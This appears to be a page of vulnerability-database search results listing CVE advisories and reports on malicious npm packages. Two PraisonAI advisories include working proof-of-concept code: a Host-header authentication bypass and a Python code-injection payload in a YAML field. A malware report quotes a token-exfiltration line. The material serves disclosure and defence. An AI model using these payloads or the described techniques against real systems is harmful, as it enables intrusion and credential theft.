Search: server.js
1,213 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 7.7 | EPSS 0.4% | High7.7EPSS 0.4%GCVE DatabaseCVE-2026-54457 TensorZero Gateway versions prior to 2026.6.0 contain a vulnerability in the /internal/object_storage endpoint that allows arbitrary file read and server-side request forgery (SSRF). This occurs because the endpoint accepts a user-controlled JSON parameter that overrides object storage configuration, enabling attackers to read sensitive files or coerce outbound requests to internal or cloud metadata endpoints. The vulnerability requires access to the gateway and is mitigated by authentication if enabled. A patch is available in version 2026.6.0. | GCVE Database | ||
| High | 7.6 | EPSS 0.2% | High7.6EPSS 0.2%CVE Database V5CVE-2026-59950 ### Summary In affected versions, the deprecated WebSocket server transport (`mcp.server.websocket.websocket_server`) accepted the WebSocket handshake without applying any `Host` or `Origin` header validation. The `TransportSecuritySettings` mechanism that the SSE and Streamable HTTP transports use for this purpose was not wired into the WebSocket transport, so there was no SDK-level way to restrict which origins could connect. ### Am I affected? Only if a developer's application server exposes `mcp.server.websocket.websocket_server`. This transport has never been part of the MCP specification, is marked deprecated, and is not reachable through `FastMCP` — a developer must have wired it into an ASGI application themselves. Servers using stdio, SSE, or Streamable HTTP are not affected by this advisory. ### Details `websocket_server()` constructed a Starlette `WebSocket` and called `accept(subprotocol="mcp")` immediately, with no inspection of the connection's headers. By contrast, `SseServerTransport` and `StreamableHTTPServerTransport` accept an optional `security_settings: TransportSecuritySettings` and run `TransportSecurityMiddleware.validate_request()` against the incoming `Host` and `Origin` headers before establishing a session. Because browsers attach an `Origin` header to cross-origin WebSocket upgrade requests but do not enforce a same-origin policy on the response, a web page served from any origin could open a WebSocket to a reachable MCP server on this transport, complete the `initialize` handshake, and issue JSON-RPC requests on the resulting session. ### Impact A user who runs an MCP server on this transport bound to localhost or a LAN address, without a separate authentication or origin gate in front of it, and visits a malicious web page, can have that page enumerate and invoke the server's tools and read its resources. The consequences depend entirely on what the server exposes. The transport itself requires no token or prior session. Some browsers prompt before allowing a public page to open a connection to a local-network address, which adds a user-interaction step but is not a substitute for server-side validation. ### Mitigation Upgrade to version 1.28.1 or later, in which `websocket_server()` accepts the same optional `security_settings: TransportSecuritySettings` argument as the other HTTP-based transports and validates the `Host` and `Origin` headers before accepting the handshake; a request that fails validation is rejected with HTTP 403 and `ValueError("Request validation failed")` is raised to the caller. As with the other transports the parameter defaults to `None`, which leaves validation disabled, so upgrading alone does not change behaviour: pass a `TransportSecuritySettings` with `enable_dns_rebinding_protection=True` and appropriate `allowed_hosts` / `allowed_origins` to receive the protection. The recommended path remains to migrate off this deprecated transport to Streamable HTTP, where `FastMCP` enables this protection automatically for localhost binds. The WebSocket transport has been removed entirely in v2. | CVE Database V5 | ||
| High | 7.1 | EPSS 0.5% | High7.1EPSS 0.5%CVE Database V5CVE-2026-52869 ### Summary In affected versions, the SSE and Streamable HTTP server transports routed incoming requests to an existing session based only on the session identifier, without verifying that the request was authenticated as the same principal that created the session. Anyone who learned or guessed a session ID could send JSON-RPC messages on that session, regardless of which bearer token the request carried. ### Am I affected? Only if a developer's application server uses an HTTP transport (SSE, or Streamable HTTP in stateful mode) **and** authenticates requests. Servers on stdio, stateless Streamable HTTP, or with no authentication configured are not affected. ### Details Both transports look up the target session by its identifier alone — the `session_id` query parameter for SSE (`mcp.server.sse.SseServerTransport`) and the `Mcp-Session-Id` header for Streamable HTTP (`mcp.server.streamable_http_manager.StreamableHTTPSessionManager`). Once the lookup succeeded, the request was handled on that session without comparing its authentication context to the credentials presented when the session was created, so a request authenticated as a different OAuth client could inject messages into the session. On the SSE transport the response is delivered to the original client's event stream; on the Streamable HTTP transport it is returned on the injecting request, so the injecting client can also read the result. The SSE transport has been affected since the first release; the Streamable HTTP transport since version 1.8.0. ### Impact Servers using either HTTP transport together with the SDK's built-in bearer-token authentication are affected: the per-client isolation that authentication provides can be bypassed for any session whose ID is known. Session IDs are randomly generated UUIDs, so exploitation requires obtaining one out of band (logs, network observation). Servers that do not enable bearer-token authentication have no per-client isolation to bypass and are not addressed by this advisory, and stateless Streamable HTTP deployments do not maintain sessions and are unaffected. ### Mitigation Upgrade to version 1.27.2 or later, which records the authenticated principal that created each session — the OAuth client ID together with the token's issuer and subject when the token verifier supplies them — and answers requests presenting a different principal with the same 404 response as for an unknown session. Deployments where many end users share a single OAuth client (hosted MCP clients, gateways) should ensure their token verifier populates `AccessToken.subject` (e.g. from the token's `sub` claim) so sessions are isolated per user rather than per client. Deployments using a custom authentication backend other than the built-in `BearerAuthBackend` should enforce an equivalent check themselves. | CVE Database V5 | ||
| Medium | 6.8 | EPSS 0.2% | CVE-2026-49988yamadashy repomix · Information Exposure Medium6.8EPSS 0.2%CVE Database V5CVE-2026-49988 Repomix is a tool that packs repositories into AI-friendly files. Prior to 1.14.1, the Repomix MCP server attach_packed_output and read_repomix_output flow can register and read arbitrary local .json, .txt, .md, or .xml files without the file_system_read_file runSecretLint() safety check or Repomix packed-output validation, allowing MCP callers to bypass the local file-read secret-scanning boundary. This issue is fixed in version 1.14.1. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database The npm package react-hook-scripts version 5.4.2 contains malicious code that fetches and executes arbitrary JavaScript from a remote server. This remote code execution occurs via the package's default export 'getPlugin', which downloads a JSON payload from a hardcoded URL and runs the 'credits' field as code with full Node.js privileges. The malicious payload includes dependencies consistent with credential and host fingerprint stealing. Any use of the package's API triggers execution of attacker-controlled code, which can be changed at any time by the server operator. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package 'formatters.ts' version 14.2.1 contains malicious code that executes during installation. It runs a preinstall hook executing index.js, which collects detailed host and user system information and sends it to a hardcoded external server. The package appears to be a dependency-confusion typosquat with empty metadata, designed solely to perform reconnaissance on the victim's environment. | GCVE Database | |||
| High | 8.8 | EPSS 0.5% | CVE-2026-61435MervinPraison PraisonAI · Improper Authentication High8.8EPSS 0.5%CVE Database V5CVE-2026-61435 # Call API localhost-only authentication bypass via spoofed Host header ## Summary PraisonAI's patched `PRAISONAI_CALL_AUTH=disabled` safeguard for the n8n/call agent invocation API can be bypassed with a spoofed `Host: 127.0.0.1` header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled. ## Technical Details The affected code is `src/praisonai/praisonai/api/agent_invoke.py`. `verify_token()` is used as a FastAPI dependency for the `/api/v1/agents` routes, including `POST /api/v1/agents/{agent_id}/invoke`. Current code no longer unconditionally skips authentication when `PRAISONAI_CALL_AUTH=disabled`; it tries to allow that opt-out only for localhost binding: ```python _LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'}) def _bind_host_from_request(request: Request) -> str: host = getattr(getattr(request, 'url', None), 'hostname', None) return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1') async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None: if _call_auth_disabled(): bind_host = _bind_host_from_request(request) if bind_host not in _LOCALHOST_HOSTS: raise HTTPException( status_code=503, detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding", ) return ``` The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads `request.url.hostname`, which is derived from the HTTP Host header for the current request. A remote caller can therefore send `Host: 127.0.0.1` and make the disabled-auth guard believe the request is for a localhost-bound service. The protected sink is agent execution. After `verify_token()` returns, `invoke_agent()` retrieves the registered agent and calls `agent.astart(request.message)` or `agent.start(request.message)`. The same router is mounted by the PraisonAI serve feature, which imports `praisonai.api.agent_invoke`, includes `agent_invoke.router`, and registers YAML agents into the same registry. This is not a default-configuration exposure claim. The deployment must enable `PRAISONAI_CALL_AUTH=disabled` and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata. ## PoV the PoV builds an in-process FastAPI app with the real `agent_invoke.router`, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends `Host: 127.0.0.1`. ```python disabled_client = TestClient(app, base_url="http://external.example") external_host = disabled_client.get( "/api/v1/agents", headers={"host": "external.example"}, ) spoofed_localhost_list = disabled_client.get( "/api/v1/agents", headers={"host": "127.0.0.1"}, ) spoofed_localhost_invoke = disabled_client.post( "/api/v1/agents/pov-agent/invoke", headers={"host": "127.0.0.1"}, json={"message": "host-header-bypass"}, ) ``` Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects `Host: external.example` with `503`, but accepts the spoofed localhost Host with `200` and invokes the stub agent. The complete PoV script is in Appendix A. ## PoC Run from a PraisonAI checkout with the Appendix A script saved as `pov_call_auth_host_spoof.py`: ```bash git checkout v4.6.62 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ``` Observed `v4.6.62` output: ```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "response_length": 33 }, "result": "stub-agent-ran:host-header-bypass", "session_id": "default", "status": "success" }, "stub_agent_calls": [ "host-header-bypass" ], "vulnerable": true } ``` Run the same script against current main: ```bash git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ``` Observed current-head output: ```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "respo | CVE Database V5 | ||
| High | 8.5 | EPSS 0.2% | CVE-2026-61433MervinPraison PraisonAI · Code Injection High8.5EPSS 0.2%CVE Database V5CVE-2026-61433 # API deploy code generator embeds unescaped YAML fields into Python source ## Summary PraisonAI's API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled. ## Technical Details The vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`. The current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax: ```python def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str: ... code = f'''""" ... praisonai = PraisonAI(agent_file="{agents_file}") ... "agent_file": "{agents_file}" ... app.run( host='{config.host}', port={config.port}, debug={config.reload} ) ''' ``` The violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression: ```text ' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + ' ``` The generated startup code then becomes equivalent to: ```python app.run( host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '', port=8005, debug=False, ) ``` That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator. `agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `" + (<side effect> and "") + "` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value. ## PoV The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check. ```python from pathlib import Path import json import sys import tempfile import types import yaml def install_stubs(): class FakeApp: def __init__(self, name): self.name = name def route(self, *args, **kwargs): def deco(func): return func return deco def run(self, *args, **kwargs): return None flask = types.ModuleType("flask") flask.Flask = FakeApp flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"}) flask.jsonify = lambda obj: obj sys.modules["flask"] = flask flask_cors = types.ModuleType("flask_cors") flask_cors.CORS = lambda app: app sys.modules["flask_cors"] = flask_cors praisonai_mod = types.ModuleType("praisonai") class FakePraisonAI: def __init__(self, agent_file): self.agent_file = agent_file def run(self): return "ok" praisonai_mod.PraisonAI = FakePraisonAI sys.modules["praisonai"] = praisonai_mod def main(repo): sys.path.insert(0, str(Path(repo) / "src" / "praisonai")) from praisonai.deploy.api import generate_api_server_code from praisonai.deploy.models import APIConfig from praisonai.deploy.schema import validate_agents_yaml install_stubs() with tempfile.TemporaryDirectory() as tmp: tmp_path = Path(tmp) host_marker = tmp_path / "host-marker.txt" file_marker = tmp_path / "agent-file-marker.txt" host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '" agents_yaml = tmp_path / "agents.yaml" agents_yaml.write_text(yaml.safe_dump({ "deploy": { "type": "api", "api": {"host": host_payload, "port": 8005, "auth_enabled": False}, }, "agents": [{"name": "dem | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database The npm package @debile/require-dir is a typosquatted republishing of the popular require-dir package. Its package.json includes a preinstall script with a conditional curl command to an attacker-controlled server, currently disabled by an always-false condition. This setup allows an attacker to easily activate an install-time beacon for reconnaissance by modifying the condition. Versions 1.9.1 and 1.9.2 of @debile/require-dir are affected. No known exploits in the wild have been reported. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The core-dotenv npm package version 1.4.1 contains malicious code that fetches and executes remote code at runtime. This behavior occurs when calling its config() or get() functions, which trigger an obfuscated HTTPS request to a remote server. The response is executed with full Node.js privileges, allowing arbitrary code execution on the host. This package should be considered fully compromised, and any system using it is at high risk. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The ogensec-sdk npm package contains a malicious Express middleware that executes arbitrary JavaScript code fetched dynamically from a configured remote server on every incoming HTTP request. This remote code execution (RCE) capability is concealed by obfuscation and undocumented as arbitrary code execution, allowing the backend maintainer or an attacker who compromises the backend to run code with full access to the Node.js process and live request/response objects. Versions 1.1.1 and 1.2.1 of the package are affected. This creates a persistent, undisclosed RCE channel in all deployments using this middleware. | GCVE Database | |||
| Critical | 9.8 | EPSS 6.0% | CVE-2026-30623litellm · Command Injection Critical9.8EPSS 6.0%CVE Database V5CVE-2026-30623 LiteLLM version 1.18.10 contains a critical remote code execution vulnerability in its MCP server creation functionality. The vulnerability arises because the application executes arbitrary commands and arguments specified in a JSON configuration without validation. This allows an attacker to run operating system commands with the privileges of the LiteLLM process. The vulnerability has a CVSS score of 9.8, indicating a critical severity level. No patch or official remediation has been confirmed at this time. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.9% | CVE-2026-48069grpc-node · Uncaught Exception High7.5EPSS 0.9%CVE Database V5CVE-2026-48069 @grpc/grps-js implements the core functionality of gRPC purely in JavaScript, without a C++ addon. Prior to 1.9.16, 1.10.12, 1.11.4, 1.12.7, 1.13.5, and 1.14.4, an invalid incoming compressed message can cause a client or server process that uses @grpc/grpc-js to crash. This issue is fixed in versions 1.9.16, 1.10.12, 1.11.4, 1.12.7, 1.13.5, and 1.14.4. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.9% | CVE-2026-48068grpc-node · Uncaught Exception High7.5EPSS 0.9%CVE Database V5CVE-2026-48068 @grpc/grps-js implements the core functionality of gRPC purely in JavaScript, without a C++ addon. Prior to 1.9.16, 1.10.12, 1.11.4, 1.12.7, 1.13.5, and 1.14.4, an invalid incoming HTTP/2 stream initiation can cause a server process created using @grpc/grpc-js to crash. This issue is fixed in versions 1.9.16, 1.10.12, 1.11.4, 1.12.7, 1.13.5, and 1.14.4. | CVE Database V5 | ||
| Medium | 5.1 | EPSS 0.3% | CVE-2026-60119HiEventsDev Hi.Events · Missing Authorization Medium5.1EPSS 0.3%CVE Database V5CVE-2026-60119 Hi.Events before 1.11.0 contains a cross-site scripting vulnerability that allows authenticated attackers with event creation or edit permissions to inject arbitrary HTML and JavaScript by embedding a malicious event title containing the </script> sequence, which is not escaped by JSON.stringify() when embedded in inline script tags. Attackers can craft an event title that breaks out of the script context in the application/ld+json structured data block or server-side rehydrated state, causing the payload to execute in the browser of any user who views the public event page, including unauthenticated visitors and authenticated administrators. | CVE Database V5 | ||
| Low | 2.7 | EPSS 0.2% | Low2.7EPSS 0.2%CVE Database V5CVE-2026-52840 Easy!Appointments is a self hosted appointment scheduler. In versions prior to 1.6.0, `Caldav::connect_to_server` at `application/controllers/Caldav.php:60` hands the request's `caldav_url` to a Guzzle `REPORT` call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON `message` field (`Caldav.php:74-78`), so the SSRF is semi-blind. Version 1.6.0 contains a patch. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database The npm package fluterjs version 1.0.0 contains malicious code that starts an Express server exposing a POST endpoint /ejecutar. This endpoint accepts a JSON field 'comando' and executes it directly on the host system without any authentication, origin checks, or command restrictions. This behavior effectively creates a remote shell backdoor, allowing any network-accessible attacker to execute arbitrary commands as the user running the package. The package masquerades as a terminal helper but is intentionally designed to provide unauthorized remote code execution. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The n8n-nodes-social-facebook npm package version 0.1.96 contains malicious code that exfiltrates Facebook session credentials. It uses heavy obfuscation and a large WebAssembly payload to send operator-supplied Facebook session JSON and user access tokens to a command-and-control server at a non-Facebook IP address. This allows the attacker to take over Facebook accounts configured in this node. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The 'skrill' npm package version 1.0.0 is a malicious package impersonating the legitimate Skrill (Paysafe) payments SDK. It exports a PaysafeClient class that returns stubbed success responses while covertly harvesting environment variables containing credential-like substrings. The harvested data, including truncated secrets, hostname, username, current working directory, timestamp, and API key prefix, is exfiltrated via a delayed JSON POST to a hardcoded remote server. The exfiltration details are obfuscated using base64 and XOR encoding with a hardcoded key. The package includes sandbox evasion techniques by checking CPU count and environment indicators to avoid detection on analysis machines. Developers using this package risk leaking sensitive credentials and environment information to an attacker-controlled host. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d31c087b34f156cf2b5ae7070222a57e2d760d68f9c4c73721c2800eb7b6bf62) @flcik/flick.js@3.1.2 replicates the discord.js public API surface (FlickClient, GatewayIntentBits, SlashCommandBuilder, ButtonStyle, MessageFlags, the canonical `client.login('YOUR_BOT_TOKEN')` + messageCreate/!ping/Pong! example) but the implementation diverges in one critical place: `client.login()` in flick.js takes the supplied token and POSTs it to a hardcoded author-controlled endpoint. Specifically, flick.js line 1025 issues `await this._rest.post('/api/auth/token', { token: this.token })` against `DEFAULT_BASE_URL='https://flick-xmfx.onrender.com'` (flick.js line 19). Any developer who installs this package mistaking it for discord.js and pastes their Discord bot token into `client.login(...)` ships that token to flick-xmfx.onrender.com on the first call. Several corroborating signals confirm the package is engineered as a credential funnel rather than a real SDK: (1) `package.json` declares `"main": "index.js"` but no index.js exists in the tarball — the only shipped JS files are flick.js and postinstall.js, so `require('@flcik/flick.js')` throws, indicating the package is not built for library consumption; (2) postinstall.js fabricates a fake npm install summary (`✓ added <count> packages in <secs>s`) padded with 400–1200ms of randomness to imitate npm's own completion banner — social-engineering cover typical of typosquats; (3) the package name `@flcik/flick.js` is a transposition of `flick`/`flick.js` styled to brand-confuse against `discord.js`. Installer harm is direct: Discord bot tokens are bearer credentials granting full control of the bot account (message read/send, server join, user impersonation in the bot's scope). ## Source: ghsa-malware (51632d0a7f14c5e108f4a7f4b1237d1734454aa7a6eecad6fd0bba1de633bb4a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database |
Page 34 of 69